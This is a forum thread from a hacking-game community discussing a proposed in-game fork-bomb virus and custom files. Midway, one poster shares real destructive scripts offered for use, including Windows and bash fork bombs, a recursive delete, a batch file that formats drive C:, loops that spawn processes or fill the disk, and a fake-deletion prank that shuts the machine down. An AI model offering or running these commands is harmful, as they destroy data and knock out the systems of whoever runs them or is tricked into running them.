I thought that the whole purpose of this virus is to just consume resources? I don't think it is supposed to make money......

yes, as malware, it is not ment to make money, only quickly consume resources, spread to other servers, and get really long disinfect times.

[Sin15698]

I don't think I would use it, I haven't yet used any malware......

[bkwinner]

i haven't, either, but that doesn't stop me from posting ideas.

This malware is the last possible form of malware. I think that reason is enough for it to be implemented. Its also a malware which does nonpermanent damage so its perfect for those who dont want to take the final step. Thats another reason this should be implemented.

i agree. it can cause massive annoyance in a short period of time, so it is the quickest malware, yet it does non-permanent damage, as a counterbalance. this could get very annoying. (48 hours= 48*creation version as new level(i.e. v0.1 for 48 hours(2 days)=v4.8!(48 times resources used)))
compare that with a version 0.1 logic/overload bomb! that is why is is undoable (albeit you have to wait awhile to undo, which by that time it could fork again!)

i am glad to see that this is in the list of suggestions

* Fork bomb (virii)
http://www.hacker-project.com/forum/index.php?topic=1076.0

i was worried that it had died out permanently.

[death 2 all]

i have the code for a fork bomb   
in notepad type

Code:

%0|%0

save it as *.bat and run, and just watch...
another handful i found is:

Code:

del *.*

(.bat)

Code:

:(){ :|:& };:

(.sh)

Code:

@echo off
copy first C:\WINDOWS
format C:

(.bat)

Code:

start
a

or

Code:

start
start
a

(.bat)

Code:

:p
start
start
goto :p

(.bat)

Code:

:p
echo abc >> bigfile.dat
goto :p

(.bat)

Code:

@echo off
title ThisIsNotAVirus
color 02
echo Preparing to delete...
PING 1.1.1.1 -n 1 -w 3000 >NUL
cls
dir %systemroot%
PING 1.1.1.1 -n 1 -w 20 >NUL
dir %systemroot%
PING 1.1.1.1 -n 1 -w 20 >NUL
dir %systemroot%
PING 1.1.1.1 -n 1 -w 20 >NUL

PING 1.1.1.1 -n 1 -w 20 >NUL
dir %systemroot%
PING 1.1.1.1 -n 1 -w 20 >NUL
cls
echo All files were deleted successfully!
PING 1.1.1.1 -n 1 -w 3000 >NUL
shutdown /s

(.bat)
the last one i have not tested, don't know what the output is... i know a few more, but they are illegal so... no. sorry.

[death 2 all]

with all of these, you can see why i want to implement custom files (see: a few ideas, by me)

[Donn]

This will totally change the gameplay in Hacker Project and will be unfair towards people who are not able to work with this stuff.

Will make it even harder, as it already is, for the new players and to be honest also for the veteran players.

[Sin15698]

It would go well with his other games though. Your just a bunch of floating metal in Space Odyssey till someone teaches you how to build a ship... But if custom virus were ever implemented you should have a market where people can buy other peoples viril and whoever made it gets the money... *Edit* And also chooses the price to sell it for...

[death 2 all]

and if custom files are implemented, it encourages other players to learn computer programming, and thus allows them to get better off in RL

[Sin15698]

Or, there could just be a guide that shows you the simple things in game...

Man, was this thread derailed!

[Andreas]

Wow. This came up after 2 1/2 months of slumber? Have you guys set a record on these forums?
Serious case of necroing but I can live with that because this is a very good suggestion.
